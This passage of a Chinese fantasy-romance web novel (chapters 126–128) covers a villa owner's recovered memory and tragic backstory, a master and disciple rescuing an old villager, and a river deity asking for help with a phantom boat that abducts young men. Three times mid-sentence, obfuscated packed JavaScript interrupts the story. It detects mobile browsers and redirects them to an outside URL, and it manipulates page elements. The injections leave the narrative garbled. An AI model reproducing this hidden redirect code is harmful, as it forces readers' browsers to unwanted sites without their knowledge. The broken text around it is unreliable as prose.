谁料孔君山瞥了一眼那道直冲他而来的仙力,眼中闪过一道精光,大手一推,竟然拿蜀平庞大的身躯挡下了她的攻击。蜀平沉吟一声昏迷过去,就算未死恐怕也只剩下一口气。 126. 第 126 章 孔君山的心狠手辣让人心惊。 他的身影随着缝隙缝合,消失在他们无法触及的远方。 “哇——”灵月跌坐在地上,嚎啕大哭:“他把神器带走了!” 房黎儿脸色也很不好看:“那我的记忆呢?还能恢复吗?” 流逸捂着胸口,颓然靠在一颗大树上,垂着眼睑沉闷地哼了一声:“到头来什么都没捞到,真是可笑。” “什么都没捞到?不......”灵月从地上爬起来,紧紧盯着房黎儿骂道:“都是你!如果不是你,我就不会进入虚云山庄,不会在这里浪费几百年!都怪你!” 灵夜忽然暴起,向房黎儿袭来。房黎儿虽然失忆,但功底还在,仙术无法运用,但跑得贼快。 两人一追一躲,在林中飞快地兜起圈来。白瑶只觉一阵风呼啸而过,还没看清人影,又一阵风吹过。 灵月操纵着灵夜追赶房黎儿,不一会儿就精疲力竭,呼哧呼哧地撑在树边,眼神阴鹜地看着不远处弓着身子擦汗的房黎儿:“我不会放过你......我绝对不会放过你......" 房黎儿一哽:“欺负失忆的人是有什么毛病吗?” 天色蒙蒙亮,晨光从山庄外照射进来,映在山庄的小楼上,檐角的金铃散发出璀璨的光芒,像一颗金色的星星。 白瑶望着那铃铛,再细看房黎儿头发上挂着的小铃铛,恍然察觉好像有哪里格格不入。她从头到尾将房黎儿打量几遍,房黎儿生得婀娜多姿,娇媚又风情,与这山庄端庄的风格似乎不太相似。倒是书阁摆放的那尊一本正经的神像,更像是山庄庄主的模样。 她在外头经历了什么以至于风格突变? 房黎儿被她盯得不舒服,抓了抓头发,疑惑道:“我脸上有什么东西吗?” 白瑶抓住她手,盯着她的脸:“别动。” 房黎儿不知她想干什么,眨眨眼睛,问道:“你想干什么?” 白瑶缓缓伸出手,在房黎儿的眼尾处大力搓揉起来...... "嘶......你干什么......"房黎儿大力挣脱,擦了擦被白瑶搓红的眼睛,那只栩栩如生的蝴蝶翘起一角,像是要挥动翅膀翩然起飞。 是画上去的? 房黎儿看着手上的颜料,疑惑地等待白瑶解释。“我看山庄内并没有蝴蝶,甚至没有种花,料想庄主应该不是个惜花爱蝶之人,不会在眼角画蝴蝶。” 房黎儿反应过来:“确实,我对花草不感兴趣。 “快,帮我擦掉。” 白瑶扯着蝴蝶一角,猛地一扯,就像一只蝴蝶突然翩翩起飞。那并不是画上去的蝴蝶,而是一张画成了蝴蝶的封印。 随着封印的撕裂,房黎儿眼前一花,向前踉跄两步,紧闭双眼抱头蹲下,神情似乎很是痛苦。 “你怎么了?” “别碰我!”房黎儿一声嘶吼贯穿山庄,那气势与先前大为不同,让人心中为之一震。一旁的灵月眼神闪烁,眼底涌上了一丝惧怕。 须臾,房黎儿缓缓睁开眼睛,懵懂褪去,那双媚眼含着复杂的情绪,却比先前要坚定、强势许多。 她瞥了灵月一眼,嘴角像是擒着讽刺的笑意,然后目光落在白瑶身上,又越过她看向晏离:“原来是白家的人。先前是我失忆,多有得罪。” 房黎儿将目光挪回白瑶身上,迟疑了一下:“你们也是为了神器而来吗?” 白瑶摇摇头:“原本是追着魔气来的,但是现在神器在青丘境内被夺......要让宫里知道才行。” 房黎儿点点头,转头对灵月、流逸问道:“你们还有事吗?” 灵月幽怨地望着房黎儿,咬牙问道:“你真的想起来了?” 房黎儿轻佻地睨了她一眼,那眼神她再熟悉不过,就是来自每日每夜让她恨之入骨的人。 白瑶问:“灵月先前说的是真的吗?你是虚云山庄庄主?是你散发消息引人来争夺神器?” 房黎儿恢复记忆后,对白瑶有了些顾忌,于是没有隐瞒:“没错,都是我干的。”语气中透着一股不以为然。 就在房黎儿放松警惕之时,灵月伺机而发,和灵夜配合与房黎儿徒手过招。 房黎儿太久没活动身体,一开始勉强接住几招,后来施展开拳脚一击打中灵夜。 灵月惨叫一声,飞扑上去接住灵夜无力垂下的躯体,飞快检查他的身体。灵夜肢体扭曲,双目低垂,脖子一扭一顿地向灵月转过脸去,张了张嘴,但没有发出一点声音。 灵月红着眼眶愤恨地看向房黎儿:“你为什么要这样对他?你欺骗了我,难道就没有一点愧疚?” 房黎儿冷静地望着灵月,神色坦然道:“我不过是利用了你对神器的欲望。欲望本就是你的,留下的决定也是你自己做的。时至今日哪一步是我逼迫你的,这一切与我何干?” 灵月压着心中的怒火,吼道:“和你无关?这些死在山庄的人都是活该,都是他们自找的对吗?” 房黎儿依旧面不改色:“那么你呢?在我离开之后,你有阻止过他们吗?” 灵月一愣,房黎儿继续说道:“你没有。你知道这样不对,但还是一直重复我做过的事情。主宰他人生死的感觉很不错吧,如果不是我又出现了,你还会继续这么下去对吗?” 灵月僵硬地摇摇头,目光透着一股惊恐:“你别想拉我下水......" 房黎儿缓缓摇了摇头,带着一丝无可奈何,感叹道:“看,如果你在我的位子,你一样会做这些事情。我给了你一个选择的机会,而你做了和我相同的选择。多可笑啊......” "不,不......不是这样的......”灵月惶恐道:“我只是想找到神器。我只是想将灵夜变成真的。我没想过杀人,我只是没有救他们。” 房黎儿轻哼一声,声音阴柔缠绵:“那有什么区别?” 灵月向后踉跄一步,压在她的肩膀上的灵夜恍然抬眼,目光不受控制直勾勾地盯着房黎儿,说不上是呆滞还是震惊。她紧紧抓住灵夜的手:“我不会就这么算了。” 房黎儿耸耸肩:“随你。反正现在神器也不在了,你难道还要留在这里陪我?” 灵月看了灵夜一眼,像是下定了某种决心:“我要出去治好他,但是终有一日我会回来的。” 房黎儿不以为然道:“神器失窃,山庄大门已开。慢走不送。” 灵月走后,流逸也未多做停留,只是在出山庄之时还是很恍惚:“神器真的被孔君山带走了?你为何一点不着急?” 房黎儿只说:“我在虚云山庄苦守神器几百年,最想要的就是自由。有人接盘再好不过,我终于可以离开这里了。” 送走了灵月和流逸,白瑶与晏离却没有离开的意思。这座山庄藏着太多秘密,不是房黎儿四两拨千斤,草草几句话就能让他们信服。 房黎儿也料到他们不会轻易放过她,于是带他们回到小楼中,顺路从院子的树下挖出了两坛子酒。 再次辗转回到小楼中,原本入局的九人,现在只剩下三人。几个时辰前还在喧闹的小楼突然归于沉寂,弥留着一种压抑又荒凉的余味。 房黎儿略带惋惜地望了一圈屋内东倒西歪的陈设,扶起一把瘫倒在地的椅子,坐在桌边打开酒坛子。 “还好失忆了,不然这酒都保不住了。 “这酒不像外头那般清冽,而是吸收了山里的雾气,口感轻薄味道浓郁,你们尝尝。”她脸上没有了那只花蝴蝶,显得素净了不少,眼角只有深深的倦意。 没有人出声询问,房黎儿浅浅抿了一口酒,开始自顾自地说起来。 “我叫房黎儿,虚云是我的小字,这座山庄是我建的,所以叫做虚云山庄。”她垂下眼睫,望着酒杯中模糊的倒影,沉默了半晌:“你们一定很想知道这里究竟发生了什么。” 她抬眼望向白瑶和晏离,缓缓说道:“一千年前,我在外游玩时遇到了一名天庭使者名叫澄风。他样貌端正,谈吐非凡,我对他很痴迷。”她小酌了一口酒,眼中平静无常,似乎在说一个和她毫不相干的故事,但眼底还带着些许不自然的暖意:“我将他带来了虚云山庄,一住就是两百年,我们琴瑟和鸣美妙极了。但是在两百年后的一天,我突然截获了他与天帝通讯的纸鹤,我才知道他竟然一直都在骗我。” 房黎儿握紧了酒杯,深吸一口气,压下眼中的怨恨:“我有一件独一无二的神器,能够在不同的时间空间之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137790|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转换,但它并非外界流传的那么神奇,它每月变换的轨道并不受人控制,有可能会出现在天界的任何一个无人的角落,作用只有一个,就是保护它的主人远离世间喧嚣。” 房黎儿又抿了几口酒,眼神有些迷离地向上望去,眸中倒映着小楼雕花梁柱,眯了眯眼:“澄风是天帝手下的神官,他专门为了虚云山庄的神器而来。与我周旋,不过是想骗取我的信任,得到神器的下落。我很生气,所以将他关在了那间阴暗的书阁,不准他去任何地方。一关就是十年,十年里他日渐消瘦,被折磨得不成人形,再也看不出当年玉树临风的样子。可就是这样,他还是背叛了我,偷偷逃出山庄。” 话到尾声带着一丝哽咽,她眼中泛起一层水雾,声音变得低沉艰涩:“我当然不可能这么轻易放过他,于是我找上天庭,打听他的下落。我才知道他任务失败,天帝重重责罚了他,下令让他承受三十三道天雷,他身体本就虚弱,所以没撑过去。” “他为什么要回天庭呢?回去送死吗?”房黎儿颤抖着深吸了一口气,垂眸缓和了好一阵子,才醉眼朦胧地抬起头,带着一丝哭腔,颤抖道:“就算去死,也不愿留下与我厮守,他究竟是怎么想的......” 白瑶轻轻拍了拍她的肩,以示安慰,但什么也没说。 房黎儿看了她一眼,又看向沉默的晏离,缓了一口气说道:“我知道澄风已死,我一人斗不过天帝,恨不能将整个天界毁掉。如灵月所说,确实是我向外散布了一些关于神器的消息,引来外人争夺,自己作壁上观。但我从头至尾没有参与他们的纷争,他们的死伤都是自己造成的,久而久之神器的传说就越来越玄乎。后来有一天,灵月和灵夜来到了山庄。我见灵夜对她极好,寸步不离地守在她身边,两人如胶似漆,心里不舒服。于是趁她不注意,偷偷跑出了山庄。” 房黎儿回忆起当年刚遇见灵月时的样子,她还是个不谙世事的小姑娘。是什么让房黎儿下定决心离开?约莫是灵月看灵夜的眼神吧,那般纯净又坚定。而灵夜无法自主思考,自然对她百依百顺,让人妒忌。 白瑶问:“你就这么跑了?灵月为何说你骗了她三百年?” 房黎儿轻哼一声,将酒杯轻轻搁置在桌上:“这里只有她一人时,神器便不会让她走。这里若是来了别人,她又害怕神器被人取走。于是兜兜转转三百年,一事无成,也不敢离开这里。她有求于神器,是她的心魔将她困在了这里。 “我在外游荡了近三百年,后来遇到了一名天庭使者,他向我打听虚云山庄的事,我知道他是天帝又一条走狗。既然他们想争,那我便指一条路。没想到他怕我将虚云山庄的事告诉别人,居然趁我不备,封印了我的记忆。如你们所见,那个人就是小峰,不过他也得到了应有的下场,不说了。” 这个故事不知从哪里开始出错,跨越了几百年,牵连了多少人。 随着神器失窃,虚云山庄的故事终于暂时落下了帷幕。 白瑶临别前问房黎儿: "书阁中翻找出的那本书的扉页是澄风写给你的?” 依稀记得上面只有几行字: 赠予 虚云山庄庄主房黎儿 青山不改 唯念长安 房黎儿点点头。 “他若是对你没有情分,为何留下这样一句话?” 房黎儿看了白瑶一眼,浅浅地扬起唇角:“或许他曾经对我有过几分真情,但是我们终究不是一路人。”她哑声道:“现在说这些也只是枉然。” 她看了不远处的白衣少年一眼,对白瑶说:“希望你知道自己想要什么,也能得到自己想要的。” 白瑶跟在晏离身后从山庄大门走出,外面已然不是她先前来过的那座山。她回头冲房黎儿说:“神器被夺走,你终于可以解脱了。” “解脱吗?”那些失而复得的记忆,纵使惨烈却终将成为她血肉的一部分。 房黎儿冲他们的背影拜拜手,回望山庄小楼,在日光中红木发出温暖的荣光,一如往昔般灿烂辉煌。 那座小楼精美卓绝,世间少有,外观像一座三层宝塔,镇守在云雾缭绕的山中。 “不识庐山真面目,只缘身在此山中。” 127. 第 127 章 “孔君山当年并没有将神器带走?”慕小闲问。 晏离颔首道:“他的目的是将蜀平带回魔域。” 慕小闲将前因后果串联起来,思索半晌,灵机一动:“原来如此。孔君山一来将房黎儿带回了山庄,二来又将蜀平带走,将神器物归原主,房黎儿算是欠了他一个人情。当年凤钰从魔域出逃后来到青丘,说不定是为了虚云山庄而来。虚云山庄的门一月只开三日,闭门之后约有二十七日不见踪迹,下一次开门的位置无法确定,确实是躲避天庭追捕的好地方。" 做事留一面,日后好相见。饶是凤钰在春桃宴摆了她一道,让她吃了些苦头,后来也赶去北溟救她。救她未果,又将锁魂铃送上门。一来抵消了他先前的考虑不周,体现他由衷的歉意,二来将最危险的东西藏在了藉藉无名的她身上,转移了天庭的视线,不可谓手段不高明。 但是当年他如此高明的计划,为何最终失败了? 。 春去秋来,时光荏苒。 因晏离喜隔世而居,鲜少出现在世人面前,白瑶大多时候都待在山中静心修炼。 只是在山中久居总会觉得有些寡淡,白瑶偶尔缠着晏离让他带她出去采买物资,借此机会看看世间繁华,过一把眼瘾。 山林中,白瑶跟在晏离身后,虽然步履有些沉重,但神色却轻松惬意,还忍不住哼着小曲儿。 晏离两袖清风,以翩然之姿,步伐不紧不慢地走在前面。忽而清风拂过,树叶沙沙作响,斑驳的树影越发凌乱。他的长发随风扬起,发尾扫过白瑶的鼻尖,一下、两下、三下...... 阿嚏!! 白瑶打了个喷嚏,瞬间凭空出现了三个巨大的包裹将她压趴在了地上。原本她将包裹收入了袖口的无量空间,结果一个喷嚏全给打出来了。 晏离听见身后的动静,停下脚步微微侧目。 白瑶的眼前多了一双浅色的靴子,她抬头向上望去,晏离站在她面前,神色说不上冷漠,但也没有什么波澜,大概是对她的不靠谱习以为常了。 白瑶有些狼狈地咧嘴笑了一下,伸手抓住眼前晏离的衣摆,一点一点从包裹之中爬出来,将包裹重新收回袖中。 晏离已经走远,白瑶嚷嚷道:“师父,你走那么快做什么?等等我!” 未走几步,忽然听见不远处传来噗嗤噗嗤的声音。 白瑶好奇地张望,却见晏离已经向那个方向走去,她赶忙跟了上去。山林中树木丛生,越是无人问津之处,地势越是复杂曲折。 “噗嗤噗嗤” 又是这个声音。 晏离在一棵大树下停住脚步。 “救......救命......” 白瑶神色一变,顺着晏离的视线抬头望去,越过大树重重的须叶,就见一个背着竹筐、脸色惨白的老伯倒挂在树上,一条腿上缠着几圈树藤。 什么人? 晏离飞身而上,一扬袖,一道精光乍现斩断了缠绕在老伯腿上的藤蔓。老伯忽然脱离了束缚,惊呼一声,从树上坠落。 白瑶平地掀起一阵气流,将他下落的身躯接住,缓缓放在地上。 老伯尚未缓过劲来,双腿发软地瘫坐在地上,身体还在不停颤抖。他抬眼看了晏离与白瑶一眼,也没看清是什么模样,只觉得一位清冷非凡,一位亮丽可爱,犹如天神降临,专程来救他于水火之中。他哆哆嗦嗦地点了下头:“谢谢谢谢......谢谢二位......” 白瑶将四周散落的果子捡起来,放进老伯的竹筐里,问:“阿伯,您还好吗?” 老伯两股战战,扶着她的手站起来,咽了咽喉咙:“我还好。” 白瑶哭笑不得:“您住在哪里?我们送您回去吧。” 晏离与白瑶将老伯送回了不远处的小木屋,屋外架着一只石锅,悠悠升起袅袅炊烟。老伯见了一拍脑袋,说道:“哎,我都忘了我还在煮粥!快!快!水要烧干了!”然后一瘸一拐、踉踉跄跄地跑过去。 锅一揭开,香气扑面而来,漫上来金灿灿的米粒都快挤出锅沿。 老伯赶紧进屋拿出小碗,盛了一碗出来,浅尝了一口,烫的在口中囫囵吞下,呼出一口热气喃喃道:“还好还好,还没糊味。”抬眼手一抖,就见白瑶两眼放光地望着锅里。 这位姑娘的样貌穿着看上去也不是穷酸之人,为何见到一锅粥便面露饿狼一般的垂涎之色? 白瑶暗道,我闻到鸡味了,是鸡的味道绝对不会错!我已经好多好多年没吃过鸡了,连鸡的香气都快忘了!你怎么在粥里放鸡丝?奢侈!太奢侈了! 老伯迟疑了一下,问:“两位恩人快进屋坐坐。我没什么招待二位的,这是我早上煲的鸡茸粥,看样子米放多了。我一个人也吃不完,要不二位也来一碗尝尝?” 白瑶一听眼睛一亮:“鸡茸粥?”她刚想答应,又想起自己答应晏离不吃鸡,悄悄抬眼瞄了一眼晏离。 晏离感受到一束狡黠的目光偷偷打量着自己,面不改色道:“不必。举手之劳,我们还要赶路。” 白瑶立刻痛心疾首,深吸一口气,想将香气全部吸进肚子里。 老伯一看两人的神色,心里有了计较,拦着晏离道:“哎,你们这就见外了,你们可是救了我的命。我早上去树上摘果子,没想到脚一滑从树上栽下来,若不是你们来了,我可能要在树上吊几日呢。别急着走,进屋坐会儿。” 盛情难却,白瑶犹豫地看了一眼晏离,见他没有立刻回绝,斟酌了一下说:“进屋坐可以,粥就不用了。我答应了师父不能沾荤腥,说到做到,可不能食言。”她说的义正言辞,让人不能怀疑她的决心和诚意。 晏离低垂的目光在白瑶身上停留了一瞬,转而不留痕迹地挪开。 老伯面露失望,招呼他们进屋,眨了眨眼又说道:“哎,那我洗点梅子给你们吃。” 小木屋巴掌大的地方五脏俱全,屋内的陈设丰富,并不十分老旧。白瑶找了一张木凳坐下,有一搭没一搭地和老伯说着闲话:“老伯,您一个人住在这里吗?” 老伯说:“我与我孙儿一起住,不过他这两天不在。我有一门远方亲戚正准备办喜事,叫我们过去凑凑热闹。可是我腿脚不便,懒得走远,所以叫我孙子过去探亲,他明日应当就能回来。” 白瑶低头看了一眼角落里摆放的一双缝补到一半,尺寸很大的布鞋:“您孙子多大了?” “十六了,人长得又高又壮。体力好,上山下水都不在话下,我对他出去很放心。”老伯自嘲地笑笑:“不过他对我留在家里不怎么放心,那鸡茸粥的材料都是他走前给我准备好的。可不能让他知道我挂在树上了。” 老伯端来了一碗晶莹剔透的青梅,满怀期待地望着白瑶:“这是我们这里盛产的青梅,味道可正了,你尝尝。” 白瑶轻轻咬了一口,“嘶”了一声,抿嘴露出了一抹浅浅的酒窝,眼睛弯成了月牙型。 老伯又递给她一颗:“好吃吗?” 一股从未尝过的酸涩充斥着白瑶的口腔,酸得她浑身战栗、头皮发麻,正当她想要吐出来时,又看见老伯亮晶晶的眼神,只好深吸一口气,微笑着点点头,不好拂了老伯的好意。 老伯眼中涌上一丝感动:“哎,我就说我们这儿的梅子味道好,我那孙儿还不喜欢,真是的,找到一个同好真不容易啊。” 白瑶生生咽了下去,嘴角都酸的僵硬起来,对晏离咧嘴一笑:“师父也尝一颗。” 晏离将她的反应看在眼里,哪里会轻易上钩:“不必。” 老伯抬头望他,眯了眯眼疑惑道:“你不吃?”与晏离的目光在空中碰撞,莫名产生了一股微妙的敌意,仿佛无形之中厮杀了几十个来回。 白瑶趁晏离不备,以迅雷不及掩耳之势将一颗梅子塞进了晏离的口中,手指触碰到了晏离的冰冷又柔软的唇瓣,像是触电一般收回来。 梅子卡在晏离的双齿之间,微微一动,清新、酸涩的气息在口中迸发。 晏离蹙起眉,脸上罕见地露出了一丝局促和仓皇。 梅子滚落在地,晏离低头捂着唇咳咳几声,脸上浮现出淡淡的红晕,身后的发丝从肩头垂落下来,而后他抬起长长的眼睫,用那如雾般的眸子瞥了白瑶一眼。 那一眼或许是带着些许师父的严厉和责怪,却让他泛红的脸颊、眼角平添了几分娇嗔。 白瑶呼吸一顿,停滞间心口猛地跳动了一下,她讪笑道:“师父,原来你也怕酸啊。” 老伯看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她惊骇地望着眼前潺潺流水,眼睛瞪得极大。 潺潺溪水奔流不息,水下石缝中夹杂的落叶在水中摇曳,如同一只藏在石头之中嬉闹的鱼儿。 细看溪中流水却好像遇到了一股无形的阻碍,两侧的水流一刻不停地向下冲刷,而中间流速却越来越缓。随着水流的停滞,水道中间勾勒出一个仰卧的人形,却依旧是澄澈透明的。 人形原本沉于水面之下,如今渐渐浮上水面。 白瑶躲得远远的,抱着罐子,眼睛一眨不眨地望着溪中。 人形如水凝结而成,仿佛身体还在缓缓流动,在阳光的照耀下,晃过一道虹光。 哗的一声,人形突然从水中跃出,无数细小的水滴如同雨点一般洒落在岸边。 随着他一步一步走上岸,渐渐褪下表层透明的水流,从头到脚露出了一个中年人的模样。他身着一袭深色长袍,料子如水一般丝滑,两鬓几缕白发夹杂在束起的长发之中,脸上藏肉,身躯丰腴,一派富贵相。 白瑶盯着他,凝眉小声嘀咕道:“河......河伯?” 河伯是河川的主人,她曾听有苏哥哥说过,青丘境内大大小小的河川都是由他管理的。 河伯走到她跟前向她俯首作了一个揖,然后从袖口递出了一颗青梅:“公主,这可是您丢下的?” 白瑶眨眨眼睛,从他手中取回青梅放进罐子里,问:“你认识我?” 河伯道:“我曾听晏离公子称呼您为白瑶。” 白瑶不悦道:“你偷听我们说话?” 河伯脸颊上的肉一抖,慌忙摇了摇头:“是也不是,只要在河川上发生的事我都知道。您与晏离公子曾在溪边谈话,碰巧被我听到罢了。” 那岂不是她说过的话、做过事,他都能知道?白瑶眼中染上三分薄怒:“你就不能不听?” 河伯连忙点头哈腰:“公主说的是,我以后一定非礼勿视、非礼勿听、非礼勿言。” 白瑶的不悦还未褪下,见他还不走,不耐烦问道:“还有事吗?” 河伯点了下头:“啊,实不相瞒,我这次来是有事要找晏离公子......” 128. 第 128 章 山外云境。 河伯恭恭敬敬地坐在桌边,丰腴的身体挤在一张桌子上占去了大半,一双狡黠的眼睛殷切地望着晏离,又碍于他身上疏离的气息,不敢贸然靠近,端起茶杯牛饮了几口。 “你是说,九曲河上出现了一座鬼画舫?”白瑶抱着双臂坐在另一侧,若有所思地望着他,还沉浸在他的描述中。 河伯赶忙解释道:“不是鬼画舫,是美人舫!” 河伯这次前来便是为了那传说中的美人舫。说是美人舫,却委实诡异的很。 九曲河是青丘境内的一条以蜿蜒曲折闻名的大河,河水中下游两岸分别有两个小镇,一个是九曲镇,一个是长洄镇。 河道从群山之间穿流而过,蜿蜒曲折,河面有百米宽,百姓需要乘舟才能穿梭两地。若是遇上起风,便有偏航的风险,河流湍急,翻船之事也有发生。 经年累月,两岸几乎是同一时间流传出一个传说,九曲河上有一座鬼画舫。画舫只渡男子,不渡女子。每当大风日有俊俏的公子欲渡河时,河上就会飘来一座美轮美奂的画舫,画舫灯火辉煌,船上有美人无数,在甲板上、船舱的窗户里伸出如白玉一般的藕臂冲着路人挥手,招呼岸边的公子上船。一旦公子上船,船便消失在黑夜之中,公子再也不会回来。 本是无稽之谈,可在近三个月,接连有三位公子在渡河时失踪,连带着他们的侍从、小厮、看护,共十余人下落不明。 公子均是形容样貌不错的年轻男子,其中一人的小厮因内急在林中方便误了时辰,没有赶上他们,但在河边遥遥看见了一座从未见识过的大船,载着欢声笑语驶向了迷雾之中,吓得惊慌失措,在山里躲了几天才回到九曲镇上。 他的亲眼所见很快传遍了九曲镇,家里这些年有人失踪的,都认定了他们的亲人是被河上那座鬼画舫带走了。他们的家人跑来河边哭骂,要河伯给他们一个说法,河伯不堪其扰。 按理说,河上发生的事应当都在河伯的掌握之中,可河伯却没有一点头绪,那座如同海市蜃楼一般见所未见的美人舫,连带着数十位男子,都未在河面上留下一丝痕迹。 可那些人又确实是在九曲河上失踪的。 如果真有鬼画舫,那么船上发生了什么?这些上船的男子被带去了哪里? 白瑶皱起眉头,喃喃道:“天界怎么可能有鬼呢?还是一船的女鬼?这可太稀奇了。九曲镇、长洄镇,我倒是有听过,在青丘算是人口比较多的镇子。河上若是经常有人失踪,怎么没有上报长乐宫?” 河伯眼神一动,微微垂下眼睑,握住手中的杯子:“这个嘛......呵呵,在河上发生这种事,怎么也是我管理不到位,要是永昭殿下知道了,不知会怎么责罚我.......” 河伯声音一哽,两只眼眶都红了:“我一把老骨头每天盯着这条河那条川的,这么大年纪了都没个安生日子,我容易吗?”说完又低下头小声嘀咕道:“和我同一批入官的,早就告老还乡逍遥自在去了,只有我还在位子上任劳任怨。唉,我是没找着能接任的人呐,我要是找着了,我立马让位,爱谁做谁做去。” 白瑶眼角一跳,抱起双臂,冷声问:“怎么?让你做官你还不乐意?” 河伯喉头一滚,立刻换上一副殷勤的笑脸:“公主说什么呢,我怎么会不乐意呢?”他腆着脸,将目光转向晏离:“若是让长乐宫知道我连一艘莫须有的画舫都查不清楚,我这河伯也就不用做了。晏离公子,这事您怎么看?” 一旁晏离正若有所思,沉沉的目光带着一丝审视看向河伯,直看的河伯冷汗直冒。须臾,他问道:“最近一次有人失踪是什么时候?” 河伯听晏离发问,赶紧答道:“就在三天前。九曲镇有一户人家的儿子与长洄镇的一个姑娘说了亲,那天他带着几名侍从欲渡河去接亲。这是九曲镇那儿的习俗,如果是其他地方的姑娘,都要婚礼前一日将新娘接到镇上准备,到了婚礼那一天再迎进门。谁知一夜之后新娘家没来人,还以为姑爷临时反悔。姑娘家的人跑在九曲镇上一闹,才知道姑爷和侍从一共五人,都在河上失踪了。” 白瑶细细一品,觉出点不对劲了:“他可是晚上渡河?” 河伯一手拍在桌子上,眉头撇成了八字:“不是啊。因为美人舫的传说,他不敢晚上渡河,所以选了正午光线充足的时候。可坏就坏在,他们正午到了河边,一样也被美人舫带走了!” 白瑶“嘶”了一声,发觉此事确实有些刺手。一般妖魔鬼怪大多喜欢等夜里昏暗时动手,一来气氛烘托到位事半功倍,二来妖魔鬼怪常年不得见光,对昏暗的环境更加游刃有余,就算不小心失败了,也不至于让人看到脸。 青天白日,朗朗乾坤。居然敢大白天在外头将人劫走,青丘如今的治安也忒差了些。 如此一想,白瑶便按捺不住了,她身为青丘之主的继承人,怎么能放任有妖魔鬼怪在青丘作乱? 晏离尚未表态,河伯只能病急乱投医抓着白瑶恳求道:“公主,那美人舫简直不把我们放在眼里!这样下去,恐怕难安民心呐!” 白瑶听了颇以为然,点点头,安抚道:“你别慌。”又对晏离说:“师父,我看这件事不简单,我们去九曲镇看看吧。” 晏离冷然地瞥了河伯一眼,起身就走:“不去。你管辖不利,自己解决。” 河伯倒吸一口冷气,神色慌乱地跟着他走出门外,哀嚎道:”晏离公子,我是真的不会啊!河上三个月就失踪了十余人,我在河边蹲了半个月,连那个美人舫的影子都没见着。我真是没办法了,我若是有您半点的聪明才智,也不会腆着老脸上门求助了。” 白瑶看他样子委实可怜,也跟在晏离身后劝道:“这座美人舫太过诡异,虽然是在河伯的管辖范围之内,但却在他的能力范畴之外。我们要是不管,还不知道要卷走多少人呢。师父,我们就过去看看嘛。” 晏离脚步未停,声音中透着一丝不悦:“关我何事?” 白瑶心中纳闷,晏离虽然冷漠也不是全然不顾他人性命之人,为何今天如此决绝?一思量,她觉得可能是她在不经意间又惹晏离生气了。究竟是什么事?他该不会还在气那颗塞给他的梅子吧? 白瑶眼珠一转:“若是无事也就罢了,如果那美人舫再继续吃人,恐怕会引起整个青丘的骚乱。到时候河伯往外一说,说自己找过晏离公子,他袖口旁观不愿出手,那你的脸面往哪儿搁?人都说晏离公子清冷卓绝、出尘绝艳、天人之姿,没想到竟然如此狠心......” 晏离脚步突然停下,侧目扫了河伯一眼:“往外一说?” 河伯顿时浑身发毛,僵硬地摇了摇头:“不敢说不敢说。” 院子里的山大王正在地上愉快地啄着米粒,突然飞快地扑腾起翅膀,河伯犹豫地望了一眼无拘无束的山大王,只觉得自己连一只鸡也不如。 晏离看向白瑶:“你想去?” 白瑶一愣,懵懂地点了点头。 晏离严厉道:“你的修炼已经落下了三日,三头两头往外跑,还想练成什么?” 白瑶赶紧抢答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137792|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我这次回来后,一定至少半年,不,至少一年不出山外云境了。我会心无旁骛好好修炼,不再受其他事情影响了。师父,原来你是担心我的修炼,你对我这么上心,我好感动啊......” 晏离默了一下:“一年不出山外云境?” 白瑶点点头:“对。一年不出山外云境,苦心修炼。” 晏离依旧没有给一个准话,白瑶又补充道:“师父,我以后都听你的。” 不知为何,她好像捕捉到晏离眼中划过一抹异色,但定睛一看,却还是那副云淡风轻的模样,灰色的瞳孔朦胧如雾,让人捉摸不透。 河伯跟在两人身后,目光在二人身上打量,听到这里,悄悄问白瑶:“晏离公子这是答应了,还是没答应啊?” 白瑶拍了拍他的肩膀,吹嘘道:“放心,就没有本公主搞不定的人。” 风和日丽,九曲河面波光粼粼,如清晰的镜面一般倒映着两岸的绿树青山。白鸥略过枝头,在湖面轻啄,留下一圈浅浅的、盎然的波纹。如此平和的水光山色,让人难以想象鬼画舫就是在这里堂而皇之地带走了那些俊俏公子。 河伯将晏离与白瑶带到河道边的渡口说:“他们就是在这附近失踪的,这里河道相对较窄,一般九曲镇渡河的人都会从这里走。”渡口只有五米长,从岸边延伸至水中,一旁搁浅着几只寻常小舟。 此时河面风平浪静,一个渔夫正撑着竹筏在不远处打渔。 白瑶向他挥了挥手:“师傅!师傅!” 渔夫抬了抬草帽,瞥了他们一眼:“你们要过河?” 白瑶摆摆手:“不过河,我们向您打听个事儿。您这些天每日都在这附近打渔吗?” 渔夫疑惑地看着他们,收了手上的渔网,一竿子将竹筏撑过来,靠近了说:“前些日子有风,我就没出来。” 白瑶道:“哦,镇上的人要渡河,如果遇到河上有风还会行舟吗?” 渔夫:“不一定,我这竹筏一点风浪也受不起。但,如果风不大的话,那些木舟有时还是可以过去的。” 晏离思忖道:“那日的风大吗?” 